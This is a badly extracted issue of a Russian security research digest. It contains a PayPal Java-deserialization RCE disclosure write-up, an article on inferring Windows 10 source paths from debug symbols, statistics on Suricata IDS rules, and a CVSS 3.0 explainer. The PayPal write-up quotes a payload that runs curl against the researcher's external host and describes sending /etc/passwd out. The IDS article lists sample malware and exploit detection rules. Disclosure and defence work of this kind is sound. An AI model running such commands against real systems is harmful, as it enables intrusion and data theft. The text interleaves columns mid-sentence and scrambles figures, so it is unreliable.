02 04 Взломать PayPal 06 08 10 за 73 секунды 12 14 16 В декабре 2015 года я обнаружил критически опасную уязвимость 18 Михаил Степанкин в одном из сайтов PayPal для бизнеса, которая позволяла мне вы- 20 habrahabr.ru/company/pt/blog/276459/ 22 полнять произвольные команды на веб-серверах внутри корпо- ративной сети. При отправке веб-формы на сайте manager.paypal. 24 com в одном из скрытых параметров передавались закодирован- 26 ные данные в виде сериализованного объекта Java. Данный пара- 28 метр можно было подделать, изменив название класса и значения 30 его свойств, что и привело к выполнению произвольного кода на 32 серверах. Я немедленно сообщил об этой проблеме в PayPal, и она 34 была быстро исправлена. 36 38 40 42 44 46 При тестировании безопасности сайта manager.paypal.com в burp suite мое внимание привлек необычный параметр oldFormData, 48 который выглядел как сложный Java-объект, закодированный 50 в base64. Выполнение команды curl отсылает на мой собственный внешний В шестнадцатеричном виде он начинался с сигнатуры «aced 0005», сервер запросы по протоколам DNS и HTTP, что хорошо для выяв- по которая я понял, что это сериализованный Java-объект класса ления так называемых слепых уязвимостей, при которых результат java.util.HashMap без какой-либо цифровой подписи. Это означа- выполнения команды не выводится в ответе сервера. ло, что при отправке формы мы могли подменить его на объект совершенно другого класса — и на сервере будет вызван метод После этого я отправил полученный закодированный объект на сер- readObject (или readResolve) нового класса. вер в параметре oldFormData и буквально не поверил своим глазам, когда в логе доступа на моем Nginx высветилась строчка: 68

Адрес 173.0.81.65 принадлежал компании PayPal и в этот момент я понял, что могу выполнять произвольные команды на серверах сайта manager.paypal.com. Я мог бы загрузит бекдор, получить доступ к базам данных, кото-

52 рые использует приложение, или побродить по внутренней сети. Вместо этого я лишь прочитал файл “/etc/passwd” отослав его на 54 свой сервер как подтверждение уязвимости: 56 58 60 62 64 66 68 70 72 Для эксплуатации мне необходимо было найти в исходниках при- 74 ложения (или в библиотеках, которые оно использует) класс, кото- 76 рый имеет что-то интересное в методе readObject или readResolve, например создание файла или исполнения системной команды с 78 параметрами, на которые мы можем влиять. 80 82 К счастью, Chris Frohoff и Gabriel Lawrence в начале 2015 года про- 84 делали отличную работу и нашли цепочку подходящих классов в 86 библиотеке Commons Collections. Они также выпустили утилиту Я также записал видео, как воспроизвести эту уязвимость (youtu. ysoserial для генерации подходящих сериализованных объектов, be/3GnyrvVyJNk), и отправил всю эту информацию в PayPal. 88 которые в результате приводят к выполнению произвольного кода 90 После получения отчета в PayPal быстро пофиксили уязвимость и в методе readObject. 92 запросили у меня мой внешний IP-адрес, с которого я проводил те- 94 Я немедленно скачал эту утилиту с их проекта на github и сгенериро- стирование, для проведения внутреннего расследования. Примерно 96 вал объект класса sun.reflect.annotation.AnnotationInvocationHandler, через месяц PayPal назначили мне награду за найденную уязвимость, 98 десериализация которого приводит к выполнению команды «curl хотя баг в их системе числился как дубликат. Насколько я понял, дру- x.s.artsploit.com/paypal», если на сервере доступна библиотека гой исследователь, Mark Litchfield, также отправил им информацию о 100 Commons Collections. похожей уязвимости 11 декабря 2015 года, за два дня до моего отчета. 102 03 Знакомимся с исходниками 05 07 09 Windows 10 11 13 15 17 Насколько бы закрытым ни было программное обеспечение Артем Шишкин 19 Microsoft, информации о своем внутреннем устройстве оно выдает habrahabr.ru/company/pt/blog/279215/ 21 предостаточно. К примеру, экспорт функций из библиотеки по име- 23 нам дает представление о ее интерфейсах. В свободном доступе 25 есть и отладочные символы, которые повсеместно используются для 27 диагностики ошибок в ОС. Однако на руках у нас все равно имеются 29 только скомпилированные бинарные модули. Становится интересно: а какими они были до компиляции? Попробуем разобраться, как по- 31 лучить побольше информации об исходных кодах, не делая ничего 33 незаконного. 35 37 39 41 Идея, конечно, не нова. В свое время подобное делали и Марк Фильтрация данных из символьных файлов 43 Руссинович, и Алекс Ионеску. Мне лишь было интересно получить В символьных файлах помимо прочего содержится информация ком- 45 свежие данные, немного дополнив и уточнив уже проделанную дру- поновщика. То есть, присутствует список объектных файлов, которые 47 гими работу. Для эксперимента нам понадобятся пакеты отладочных использовались для компоновки соответствующего бинарного фай- 49 символов, которые есть в свободном доступе. Я взял пакеты для по- ла, причем в компоновщике используется полный путь до объектно- 51 следней релизной версии Windows 10 (64 бита), причем решил ис- го файла. следовать и релизный пакет (free build), и отладочный (checked build). Отладочные символы — это набор файлов с расширением pdb (program database, база данных программы), в которых хранится различная информация для расширения возможностей отладки би- нарных модулей в ОС, включая имена глобалов, функций и структур данных, иногда вместе с их содержимым. Помимо символов можно взять условно доступную отладочную 69 сборку Windows 10. Такая сборка богата на ассерты, в которых бы- вают описаны не только недокументированные и отсутствующие в символьных файлах имена переменных, но и номер строки в файле, в котором сработал ассерт. Зацепка-фильтр № 1: ищем строки по маске ":\\". Получаем абсолютные пути, сортируем, удаляем дубликаты. К слову, if ( nFilterType + 1 > 0xF ) мусора получилось не так много, и он был удален вручную. { v6 = VRipOutput( При осмотре полученных данных стала понятна примерная струк- &unk_32D194, тура дерева исходных кодов. Корень — "d:\th", что по всей види- 53 ERROR_INVALID_HOOK_FILTER, мости означает threshold, в соответствии с названием ноябрьской 55 0x2000000 версии Windows 10 — Threshold 1. Однако файлов с корнем "d:\th" 57 "w i n d o w s\\c o r e\\n t u s e r\\ke r n e l\\w i n d o w s\\h o o k s.c x x", // Fi l e оказалось мало. Это объясняется тем, что компоновщик принимает 59 642, // Li n e уже собранные файлы. А сборка объектных осуществляется в папки "zzzSetWindowsHookEx", // Fu n c t i o n 61 "Invalid hook type 0x%x", // Message "d:\th.obj.amd64fre" для релизной сборки и "d:\th.obj.amd64chk" для 63 nFilterType); отладочной. 65 goto FASTFAIL; 67 } Зацепка-фильтр № 2: предполагаем, что исходные файлы хра- нятся по аналогии с объектными файлами после сборки, и осущест- 69 вляем «разборку» объектных файлов в исходные. Внимание! Этот шаг 71 В примере видны не только имя файла и его расширение, но и струк- может внести искажение структуры для некоторых папок, потому как 73 тура каталогов до него, очень полезная даже без корня. достоверно не известны параметры сборки исходников. 75 Натравливаем на файлы символов утилиту strings от sysinternals Для примера: d:\th.obj.amd64fre\shell\osshell\games\freecell\objfre\amd64\ 77 и получаем около 13 ГБ сырых данных. Использовать все файлы из freecellgame.obj, это бывший: d:\th\shell\osshell\games\freecell\freecellgame.c?? 79 дистрибутива отладочной сборки подряд — не очень хорошая идея, 81 По поводу расширения файлов: объектный файл получается из кучи ненужных данных будет слишком много. Ограничимся набором рас- разных типов исходного файла: "c", "cpp", "cxx", "asm" и т. д. На данном 83 ширений: exe — исполняемые файлы, sys — драйвера, dll — библи- этапе неясно, какой именно тип исходного файла использовался, по- 85 отеки, ocx — ActiveX-компоненты, cpl — компоненты панели управ- этому оставим расширение "c??". 87 ления, efi — EFI-приложения, в частности загрузчик. Сырых данных от 89 дистрибутива набралось 5,3 ГБ. Помимо папки "d:\th" наблюдается множество других корней. 91 Например, "d:\th.public.chk" и "d:\th.public.fre". Данную папку мы опу- К своему удивлению я обнаружил, что не так много программ спо- 93 стим ввиду того, что в ней хранится публичная часть sdk. Также стоит собны хотя бы открыть файлы размером в десяток гигабайт, и уж тем отметить различные пути проектов для драйверов, которые, судя по 95 более единицы смогли поддержать функцию поиска внутри таких всему, собираются где-то на рабочих местах разработчиков: 97 файлов. В данном эксперименте для ручного просмотра сырых и 99 промежуточных данных использовался 010 Editor. Фильтрация дан- c:\users\joseph-liu\desktop\sources\rtl819xp_src\common\objfre_win7_ 101 ных осуществлялась скриптами на Python. amd64\amd64\eeprom.obj 103

// уязвимости и атаки positive research 2016

02 C:\ALLPROJECTS\SW_MODEM\pcm\amd64\pcm.lib Вторая проблема — заголовочные файлы. Дело в том, что это важная 04 часть исходных файлов, однако из заголовочного файла не получает- C:\Palau\palau_10.4.292.0\sw\host\drivers\becndis\inbox\WS10\sandbox\ 06 ся объектный, а это значит, что из информации об объектных файлах Debug\x64\eth_tx.obj 08 нельзя восстановить заголовочные. Приходится довольствоваться 10 C:\Users\avarde\Desktop\inbox\working\Contents\Sources\wl\sys\amd64\ малым, а именно теми заголовочными файлами, которые мы нашли в 12 bcmwl63a\bcmwl63a\x64\Windows8Debug\nicpci.obj сырых данных бинарных файлов. 14 Другими словами, существует набор драйверов устройств, отвеча- Третья проблема: мы все еще не знаем большинство расширений ис- 16 ющих стандартам, например USB XHCI, которые входят в дерево ис- ходных файлов. 18 ходных кодов ОС. А все специфичные драйверы собираются где-то в Зацепка-фильтр № 5: будем считать, что в пределах одной пап- 20 другом месте. 22 ки хранятся исходные файлы одинакового типа. Другими слова- Зацепка-фильтр № 3: удаляем бинарные файлы, поскольку нам ми, если в какой-либо из папок уже присутствует файл с расши- 24 интересны только исходные. Удаляем "pdb", "lib", "exp" и т. п. Файлы рением "cpp", скорее всего все его соседи будут иметь такое же 26 "res" откатываем до "rc" — исходного кода ресурсного файла. расширение. 28 30 32 34 36 38 40 42 44 46 48 50

Ну а как же исходники на ассемблере? За последним штрихом можно обратиться к Windows Research Kernel — исходным кодам Windows XP — и часть исходников на ассемблере переименовать вручную.

Изучаем полученные данные 70 Какое-то время я изучал вопрос об устройстве телеметрии в Windows 10. К сожалению, анализ на скорую руку ничего интересно- Выходные данные становятся все красивее! Однако на этом этапе го не выявил. Я не нашел никаких кейлоггеров, никакой утечки чув- дополнительные данные получить уже практически невозможно. ствительных данных. И первым ключевым словом для поиска среди Переходим к следующему набору сырых данных. исходных файлов было "telemetry". Результат превзошел мои ожида- ния: 424 совпадения. Самые интересные приведу ниже. Фильтрация данных из исполняемых файлов d:\th\admin\enterprisemgmt\enterprisecsps\v2\certificatecore\certificates- Поскольку абсолютных путей в сырых данных оказалось мало, филь- toretelemetry.cpp 52 тровать строки будем по расширениям: d:\th\base\appcompat\appraiser\heads\telemetry\telemetryappraiser.cpp 54 "c" — исходные файлы на языке C, 56 d:\th\base\appmodel\search\common\telemetry\telemetry.cpp "cpp" — исходные файлы на C++, 58 "cxx" — исходные файлы на C или C++, d:\th\base\diagnosis\feedback\siuf\libs\telemetry\siufdatacustom.c?? 60 "h" — заголовочные файлы на C, d:\th\base\diagnosis\pdui\de\wizard\wizardtelemetryprovider.c?? 62 "hpp" — заголовочные файлы на C++, 64 "hxx" — заголовочные файлы на C или C++, d:\th\base\enterpriseclientsync\settingsync\azure\lib\azuresettingsyncpro- 66 "asm" — исходные файлы на MASM, vidertelemetry.cpp 68 "inc" — заголовочные файлы на MASM, d:\th\base\fs\exfat\telemetry.c 70 "def" — описательный файл для библиотек. d:\th\base\fs\fastfat\telemetry.c 72 После фильтрации данных становится видно, что хотя у полученного 74 пути и нет корня, структура каталогов говорит о том, что она стро- d:\th\base\fs\udfs\telemetry.c 76 ится относительно него. То есть, всем путям достаточно добавить в d:\th\base\power\energy\platformtelemetry.c?? 78 начале корень "d:\th". 80 d:\th\base\power\energy\sleepstudytelemetry.c?? На этом этапе есть несколько проблем с данными, полученными из 82 символов. Первая проблема: мы не уверены, что правильно откатили d:\th\base\stor\vds\diskpart\diskparttelemetry.c?? 84 путь сборки исходного файла в объектный файл. 86 d:\th\base\stor\vds\diskraid\diskraidtelemetry.cpp Зацепка-фильтр № 4: проверим, есть ли совпадения между путя- 88 d:\th\base\win32\winnls\els\advancedservices\spelling\platformspecific\ ми до объектных файлов и путями до исходных. 90 current\spellingtelemetry.c?? 92 И они действительно есть! То есть, для большинства каталогов мож- d:\th\drivers\input\hid\hidcore\hidclass\telemetry.h 94 но утверждать, что их структура восстановлена правильно. Конечно, 96 все еще остаются сомнительные каталоги, но думаю, эта погреш- d:\th\drivers\mobilepc\location\product\core\crowdsource\locationorion- 98 ность вполне приемлема. Попутно можно смело заменять расшире- telemetry.cpp ние "c??" на расширение совпавшего по пути исходника. 100 d:\th\drivers\mobilepc\sensors\common\helpers\sensorstelemetry.cpp 102 03 d:\th\drivers\wdm\bluetooth\user\bthtelemetry\bthtelemetry.c?? Следующая находка — PatchGuard. Правда, в дереве исходников ОС 05 присутствует только один файл непонятного, скорее всего бинарно- d:\th\drivers\wdm\bluetooth\user\bthtelemetry\fingerprintcollector.c?? го типа. 07 d:\th\drivers\wdm\bluetooth\user\bthtelemetry\localradiocollector.c?? 09 d:\th\minkernel\ntos\ke\patchgd.wmp 11 d:\th\drivers\wdm\usb\telemetry\registry.c?? Поискав совпадения в нефильтрованных данных, я обнаружил, что на 13 d:\th\drivers\wdm\usb\telemetry\telemetry.c?? самом деле Kernel Patch Protection — это отдельный проект. 15 17 d:\th\ds\dns\server\server\dnsexe\dnstelemetry.c?? d:\bnb_kpg\minkernel\oem\src\kernel\patchgd\mp\xcptgen00.c?? 19 d:\th\ds\ext\live\identity\lib\tracing\lite\microsoftaccounttelemetry.c?? d:\bnb_kpg\minkernel\oem\src\kernel\patchgd\mp\xcptgen01.c?? 21 d:\th\ds\security\base\lsa\server\cfiles\telemetry.c d:\bnb_kpg\minkernel\oem\src\kernel\patchgd\mp\xcptgen02.c?? 23 25 d:\th\ds\security\protocols\msv_sspi\dll\ntlmtelemetry.c?? d:\bnb_kpg\minkernel\oem\src\kernel\patchgd\mp\xcptgen03.c?? 27 d:\th\ds\security\protocols\ssl\telemetry\telemetry.c?? d:\bnb_kpg\minkernel\oem\src\kernel\patchgd\mp\xcptgen04.c?? 29 d:\th\ds\security\protocols\sspcommon\ssptelemetry.c?? d:\bnb_kpg\minkernel\oem\src\kernel\patchgd\mp\xcptgen05.c?? 31 33 d:\th\enduser\windowsupdate\client\installagent\common\commontelem d:\bnb_kpg\minkernel\oem\src\kernel\patchgd\mp\xcptgen06.c?? 35 etry.cpp d:\bnb_kpg\minkernel\oem\src\kernel\patchgd\mp\xcptgen07.c?? 37 d:\th\enduser\winstore\licensemanager\lib\telemetry.cpp 39 d:\bnb_kpg\minkernel\oem\src\kernel\patchgd\mp\xcptgen08.c?? 41 d:\th\minio\ndis\sys\mp\ndistelemetry.c?? d:\bnb_kpg\minkernel\oem\src\kernel\patchgd\mp\xcptgen09.c?? 43 d:\th\minio\security\base\lsa\security\driver\telemetry.cxx d:\bnb_kpg\minkernel\oem\src\kernel\patchgd\mp_noltcg\patchgd.c?? 45 d:\th\minkernel\fs\cdfs\telemetry.c 47 d:\bnb_kpg\minkernel\oem\src\kernel\patchgd\mp_noltcg\patchgda.c?? 49 d:\th\minkernel\fs\\mp\telemetry.c?? d:\bnb_kpg\minkernel\oem\src\kernel\patchgd\mp_noltcg\patchgda2.c?? 51 d:\th\minkernel\fs\refs\mp\telemetry.c?? d:\bnb_kpg\minkernel\oem\src\kernel\patchgd\mp_noltcg\patchgda3.c?? d:\th\net\netio\iphlpsvc\service\teredo_telemetry.c d:\bnb_kpg\minkernel\oem\src\kernel\patchgd\mp_noltcg\patchgda4.c?? d:\th\net\peernetng\torino\telemetry\notelemetry\peerdistnotelemetry.c?? Не придумав больше ничего, я начал искать все подряд — и остался d:\th\net\rras\ip\nathlp\dhcp\telemetryutils.c?? доволен! d:\th\net\winrt\networking\src\sockets\socketstelemetry.h d:\th\windows\core\ntgdi\fondrv\otfd\atmdrvr\umlib\backdoor.c?? d:\th\shell\cortana\cortanaui\src\telemetrymanager.cpp Бекдор в драйвере шрифтов? 71 d:\th\shell\explorer\traynotificationareatelemetry.h d:\th\inetcore\edgehtml\src\site\webaudio\opensource\wtf\wtfvector.h d:\th\shell\explorerframe\dll\ribbontelemetry.c?? Web Template Framework, это всего лишь Web Template Framework, спорная аббревиатура. Погодите, это что, open source? d:\th\shell\fileexplorer\product\fileexplorertelemetry.c?? d:\th\printscan\print\drivers\renderfilters\msxpsfilters\util\opensource\ d:\th\shell\osshell\control\scrnsave\default\screensavertelemetryc.c?? libjpeg\jaricom.c?? d:\th\windows\moderncore\inputv2\inputprocessors\devices\keyboard\lib\ d:\th\printscan\print\drivers\renderfilters\msxpsfilters\util\opensource\ keyboardprocessortelemetry.c?? libpng\png.c?? 53 d:\th\windows\published\main\touchtelemetry.h d:\th\printscan\print\drivers\renderfilters\msxpsfilters\util\opensource\libtiff\ 55 d:\th\xbox\onecore\connectedstorage\service\lib\connectedstorageteleme tif_compress.c?? 57 tryevents.cpp d:\th\printscan\print\drivers\renderfilters\msxpsfilters\util\opensource\zlib\ 59 d:\th\xbox\shellui\common\xbox.shell.data\telemetryutil.c?? deflate.c?? 61 63 Комментировать, пожалуй, не стоит, поскольку все равно достовер- Теперь действительно все. 65 но ничего не известно. Однако эти данные могут послужить хорошей 67 отправной точкой для отдельного исследования. 69 71 73 75 77 Первый в России международный сертификат безопасности ISO 15408 79 81 Система контроля защищенности и соответствия стандартам безопасности MaxPatrol прошла успешную сертификацию по 83 стандарту ISO 15408 в Германии. Международный сертификат выдан немецким Федеральном ведомством по безопасности в 85 сфере информационных технологий (BSI) — это аналог российского ФСТЭК. Сертификат MaxPatrol подтверждает, что ее функ- 87 ции безопасности предотвращают несанкционированный доступ к результатам сканирования, настройкам и иной важной 89 информации, обрабатываемой системой. Испытания проводилось в соответствии с уровнем доверия EAL2, который предусма- 91 тривает не только тестирование продукта испытательной лабораторией, но и детальное изучение проектной документации, 93 процессов разработки и тестирования, а также поиск уязвимостей в файлах дистрибутива системы. Сертификат ISO 15408, 95 выданный в Германии, также признается в 25 странах мира. Это первая успешная сертификация программного продукта рос- 97 сийской компании за рубежом в рамках международного соглашения Common Criteria Recognition Agreement. 99 101 103

// уязвимости и атаки positive research 2016

02 04 Статистика появления правил 06 08 10 IDS/IPS Suricata 12 14 16 для новых угроз 18 20 22 24 Алексей Леднев 26 habrahabr.ru/company/pt/blog/282029/ 28 30 32 34 36 38 Обязательный атрибут защиты для большой компании — IDS/IPS Для привязки CVE к правилам мы распарсили актуальный файл sid- 40 (система обнаружения и предотвращения вторжений). На рынке msg.map, а также журнал его изменений. Файл содержит маппинг 42 большое количество коммерческих и open-source решений, и ка- sid-правил на их метаинформацию и имеет строки такого вида: 44 ждое из них имеет свои достоинства и недостатки. Но общее во всех 46 решениях — необходимость своевременного обновления правил 48 обнаружения угроз. Большинство IDS/IPS позволяют использовать 2021138 || ET WEB_SERVER ElasticSearch Directory Traversal Attempt 50 правила, разработанные для Snort. Одним из самых известных по- (CVE-2015-3337) || cve,2015-3337 ставщиков правил является компания Emerging Threats, ставшая ча- 2021139 || ET TROJAN H1N1 Loader CnC Beacon M1 || url,kernelmode. info/forum/viewtopic.?f=16&t=3851 стью Proofpoint. Мы решили собрать статистику по выпуску правил для наборов pro (коммерческая версия) и open (open-source версия) Emerging Threats CVE-идентификатор может содержаться как отдельно, так и в поле для Suricata, так как их синтаксис аналогичен Snort, но при этом не- msg. Отсюда был получен маппинг CVE на правила. много расширен, что дает больше возможностей. Поскольку одной атаке могут соответствовать несколько схожих Со страницы rules.emergingthreats.net/changelogs были собраны правил, необходимо было делать выборку по уникальности правил. 72 журналы обновлений правил suricata и suricata-1.3 начиная с 2015 Правила, незначительно отличающиеся друг от друга полем msg года. Первое, что нас интересовало, — какое количество правил вы- (имеющие сходство больше 0,99 по алгоритму Джаро—Винклера), в пускалось для выявления эксплуатации уязвимостей. В эту категорию выборку добавлены не были. В итоге были выбраны правила, содер- попали правила с привязкой к CVE, правила классов attack response жащие маппинг с CVE или содержащие в поле msg один из следую- и exploit. щих маркеров: attack response, exploit.

52 54 56 350 1000

58 январь | 19 301 900

60 300 июнь | 39 810

62 | 30 254 март 800 март | 55 711 март февраль | 57 246 июнь | 7 241 апрель | 57 690

64 июль | 43 672 август | 46 668

250 апрель | 31 226

700 октябрь | 12 637 66 ноябрь | 41 629 сентябрь | 20 595 сентябрь

68 600 декабрь | 33 562 ноябрь | 6 185 200 август | 18 183 июль | 10 172 январь | 41 494

70 февраль | 93 484

октябрь | 0 148 500 май | 10 143 май | 27 432 72 декабрь | 5 143 150 | 8 136 сентябрь 74 400 76 300 78 100 80 200 82 50 84 100

86 0 0 88 90 92 Количество правил для выявления Количество правил для выявления эксплуатации уязвимостей эксплуатации уязвимостей 94 96 Всего правил Всего правил 98 100 102 Статистика по набору ET open за 2015 год Статистика по набору ET pro за 2015 год 03 05 25% 9% 25% 8% 07 09 11 13 15 17 19 21 23 25 27 29 31 33 35 37 39 41 5% 6% 55% 2% 5% 60% 43 45 47 49 1299 | Вредоносные программы 4478 | Вредоносные программы 51 136 | Нарушения политик безопасности 367 | Нарушения политик безопасности

130 | Правила на основе черных списков 133 | Правила на основе черных списков

585 | Другие 1833 | Другие

228 | Эксплуатация уязвимостей 573 | Эксплуатация уязвимостей

73 Соотношение правил из набора ET open за 2015 год Соотношение правил из набора ET pro за 2015 год

Как видно, в 2015 году количество правил, выпущенных для выяв- ления эксплуатации уязвимостей, не превысило 10%. Наибольшую площадь на диаграмме занимают правила для выявления сетевой активности вредоносных программ. 53 55 Следующим шагом был сбор статистики покрытия правилами уяз- 250 57 вимостей, опубликованных в 2015 году. Были отобраны уязвимости, 59 имеющие удаленный вектор эксплуатации (AV:N) и CVSSv2-рейтинг декабрь | 15 196 больше 7,8. Из них мы отобрали те, для выявления эксплуатации кото- 200 61 рых были выпущены правила. 63 октябрь | 7 159 65 июль | 22 142 На диаграмме видно, что правилами покрывается лишь малая часть 150

август | 8 123 67 уязвимостей. Первая причина заключается в том, что часть CVE вы- сентябрь | 8 109 сентябрь 69 пускается для случаев, которые невозможно (шифрованный трафик) май | 13 102

февраль | 25 86 71

или бессмысленно покрывать правилами (с выявлением и предот- 100 ноябрь | 16 78 73 март | 11 62 март

вращением эксплуатации уязвимостей в веб-приложениях лучше апрель | 8 63 июнь | 17 54 справиться WAF, для правил же придется использовать громозд- январь | 3 51 75 кие регулярные выражения, что приведет к замедлению системы). 50 77 Вторая причина в том, что не всегда известны подробности эксплу- 79 атации уязвимости, и у экспертов нет образцов, на основе которых 81 0 можно разработать правила. 83 Итак, существует острая нехватка правил для актуальных уязвимо- 85 87 стей. Одна из причин — нежелание вендоров, а также экспертов, Количество CVE, покрытых правилами находящих уязвимости и создающих правила для IDS/IPS, делиться 89 техническими деталями обнаруженных уязвимостей. Для разработ- Количество CVE с CVSS > 7,8 91 ки правил требуются образцы трафика с эксплуатацией уязвимости; 93 при их наличии покрытие новых уязвимостей правилами увеличится 95 в разы, и положение дел не будет таким плачевным. Статистика покрытия правилами уязвимостей 2015 года 97 99 101 103

// уязвимости и атаки positive research 2016

02 04 Оценка уязвимостей 06 08 10 CVSS 3.0 12 14 16 Мы используем эту систему оценок с момента возникновения на- 18 Сергей Рублев шей базы уязвимостей и первого нашего продукта — XSpider. Для 20 habrahabr.ru/company/pt/blog/266485/ 22 нас очень важно поддерживать базу знаний, которую мы использу- ем в своих продуктах и услугах, в актуальном состоянии. Поскольку 24 рекомендации по работе с CVSS-метриками не покрывают все 26 возможные варианты уязвимостей, иногда приходится задаваться 28 вопросом: «Как лучше проставить метрики, чтобы итоговая оценка 30 отражала реальную опасность уязвимости?». 32 34 Мы постоянно следим за развитием стандарта, поэтому давно жда- ли окончательной версии CVSSv3. Открывая спецификацию, я пре- 36 жде всего хотел ответить на вопросы: «Что именно изменилось?», 38 «Что стало лучше?», «Сможем ли мы использовать новый стандарт в 40 наших продуктах?» и — поскольку к ведению базы часто подключа- 42 ются молодые специалисты — «Как быстро можно овладеть мето- 44 дикой оценки?», «Насколько четкими являются критерии?». 46 В ходе изучения стандарта родилась эта статья, надеюсь, она помо- 48 жет вам в освоении новой методики оценки уязвимостей. 50

Вехи в истории CVSS Стандарт Common Vulnerability Scoring System был разработан При помощи контекстных метрик эксперты по безопасности мо- группой экспертов по безопасности National Infrastructure Advisory гут внести в результирующую оценку поправки с учетом характери- Council. В эту группу вошли эксперты из различных организаций, та- стик информационной среды. ких как CERT/CC, Cisco, DHS/MITRE, eBay, IBM Internet Security Systems, Временные и контекстные метрики опциональны и применяются для Microsoft, Qualys, Symantec. более точной оценки опасности, которую представляет данная уяз- 74 В 2005 году состоялась первая публикация стандарта. Основные вимость для более или менее конкретной инфраструктуры. принципы расчета метрики уязвимостей, изначально заложенные в Значение метрики принято публиковать в виде пары из вектора (кон- стандарт, сохранились и по сей день. кретные значения отдельных показателей) и числового значения, Далее стандарт стал поддерживаться рабочей группой Common рассчитанного на основе всех показателей при помощи формулы, Vulnerability Scoring System-Special Interest Group (CVSS-SIG) в рам- определенной в стандарте. ках проекта Forum of Incident Response and Security Teams (FIRST). Членство в группе не накладывает на ее участников каких-либо огра- Нововведения в CVSSv3 ничений по поддержке и распространению стандарта. Мы не будем подробно рассматривать CVSSv2, на эту тему есть доста- 52 В 2007 году была опубликована вторая версия стандарта: были вне- точно хорошая документация [6, 7], остановимся более детально на 54 сены правки в перечень показателей и изменена формула расчета изменениях, вносимых новым стандартом. 56 итоговой метрики для более точной оценки опасности уязвимостей. Базовые метрики 58 В 2014 году рекомендации по использованию CVSSv2 выпускают та- 60 кие авторитетные организации, как NIST и ITU, занимающиеся раз- Компоненты системы, для которых рассчитываются метрики 62 работкой руководств и стандартов в области телекоммуникации и В рамках стандарта вводятся следующие понятия: 64 информационных систем. 66 + уязвимый компонент (vulnerable component) — тот компо- Использование метрик CVSS для оценки уязвимостей закреплено в 68 нент информационной системы, который содержит уязвимость стандартах PCI DSS и СТО БР ИББС. 70 и подвержен эксплуатации; 72 В июне 2015 года FIRST опубликовал финальную версию стандарта + атакуемый компонент (impacted component) — тот, конфи- 74 CVSSv3, о котором и пойдет речь в данной статье. денциальность, целостность и доступность которого могут по- 76 страдать при успешной реализации атаки. Основы 78 В большинстве случаев уязвимый и атакуемый компоненты совпа- 80 В CVSS входят три группы метрик: дают, но есть и целые классы уязвимостей, для которых это не так, например: 82 Базовые метрики описывают характеристики уязвимости, не ме- 84 няющиеся с течением времени и не зависящие от среды исполнения. + выход за пределы песочницы приложения; 86 Этими метриками описывается сложность эксплуатации уязвимости + получение доступа к пользовательским данным, сохраненным в 88 и потенциальный ущерб для конфиденциальности, целостности и браузере, через уязвимость в веб-приложении (XSS); 90 доступности информации. + выход за пределы гостевой виртуальной машины. 92 Временные метрики, как видно из названия, вносят в общую Согласно новому стандарту, метрики эксплуатируемости рассчиты- 94 оценку поправку на полноту имеющейся информации об уязвимо- ваются для уязвимого компонента, а метрики воздействия для атаку- 96 сти, зрелость эксплуатирующего кода (при его наличии) и доступ- емого. В CVSSv2 не было возможности описать ситуацию, в которой 98 ность исправлений. уязвимый компонент и атакуемый различаются. 100 102 03 Метрики эксплуатируемости «Сложность» сама по себе — понятие субъективное, поэтому данная 05 метрика всегда трактовалась экспертами по-разному. К примеру, для Вектор атаки уязвимостей, позволяющих реализовать атаку «Человек посереди- 07 Степень удаленности потенциального атакующего от уязвимого не», в базе NVD можно встретить различные варианты оценки Access 09 объекта. Complexity. 11 13 CVE-2014-2993 — Уязвимость в функции проверки SSL-сертификата CVSSv2 CVSSv3 15 приложения Birebin.com для операционной системы Android по- 17 Название метрики зволяет злоумышленнику осуществить атаку «Человек посере- 19 Access Vector (AV) Attack Vector (AV) дине» и получить доступ к конфиденциальным данным. [Access Complexity — Low] 21 Возможные значения метрики 23 CVE-2014-3908 — Уязвимость в функции проверки SSL-сертификата 25 Network (N) Network (N) приложения Amazon.com Kindle для операционной системы Android 27 Adjacent Network (A) Adjacent Network (A) позволяет злоумышленнику осуществить атаку «Человек посе- 29 редине» и получить доступ к конфиденциальным данным. [Access Local (L) Local (L) Complexity — Medium] 31 Physical (P) 33 CVE-2014-5239 — Уязвимость в функции проверки SSL-сертификата 35 Примечание: здесь и далее в скобках даются буквенные мнемоники, ис- приложения Microsoft Outlook.com для операционной системы Android 37 пользуемые при описании CVSS-вектора. позволяет злоумышленнику осуществить атаку «Человек посе- 39 редине» и получить доступ к конфиденциальным данным. [Access Изменения коснулись понятия «Local», которое в прошлых версиях 41 Complexity — High] стандарта описывало любые действия, не затрагивающие сеть. В но- 43 вой версии вводится такое деление: Для облегчения толкования данной метрики в новом стандарте 45 предлагаются только две ступени сложности и более четко пропи- + Local — для эксплуатации атакующему требуется локальная сес- 47 саны критерии отнесения уязвимости к той или иной. В частности, сия или определенные действия со стороны легитимного поль- 49 уязвимости, позволяющие атаку «Человек посередине», предписано зователя, 51 относить к категории High. + Physical — атакующему требуется физический доступ к уязвимой подсистеме. Факторы, учитываемые в CVSSv2 метрикой Access Complexity, в новом стандарте учитываются двумя метриками — Attack Complexity и User Рассмотрим две уязвимости, имеющие одинаковую оценку с точки Interaction. зрения CVSSv2 — 7,2 (AV:L/AC:L/Au:N/C:C/I:C/A:C). CVE-2015-2363 — Драйвер win32k.sys операционной системы Аутентификация и требуемый уровень привилегий Windows некорректно обрабатывает ряд объектов в памяти, что Требуется ли аутентификация для проведения атаки, и если требует- позволяет злоумышленнику, имеющему локальный доступ к системе, ся, то какая именно. получить административные привилегии и выполнить произволь- 75 ный код в режиме ядра. CVSSv2 CVSSv3 CVE-2015-3007 — Сетевые шлюзы Juniper серии SRX некорректно Название метрики реализуют функцию отключения восстановления пароля неприви- легированным пользователем через консольный порт (set system ports Authentication (Au) Privileges Required (PR) console insecure). Уязвимость позволяет злоумышленнику, имеющему Возможные значения метрики физический доступ к консольному порту, получить административ- ные привилегии на устройстве. Multiple (M) Single (S) Метрики для тех же уязвимостей по новому стандарту CVSSv3 53 различаются: High (H) 55 Low (L) 57 Оценка Уязвимость Вектор CVSSv3 59 None (N) None (N) CVSSv3 61 CVE-2015-2363 AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 7,8 63 Подход к расчету метрики, основанный на количестве независимых 65 CVE-2015-3007 AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 6,8 процессов аутентификации, которые нужно пройти атакующему, 67 недостаточно точно отражает смысл привилегий, необходимых для 69 Видно, что в CVSSv3 степень опасности уязвимости оценивается бо- эксплуатации. лее точно, без усреднения, имевшего место в CVSSv2. 71 Значение Multiple в базе NVD встречается достаточно редко и в ос- 73 новном используется для уязвимостей, информация о которых 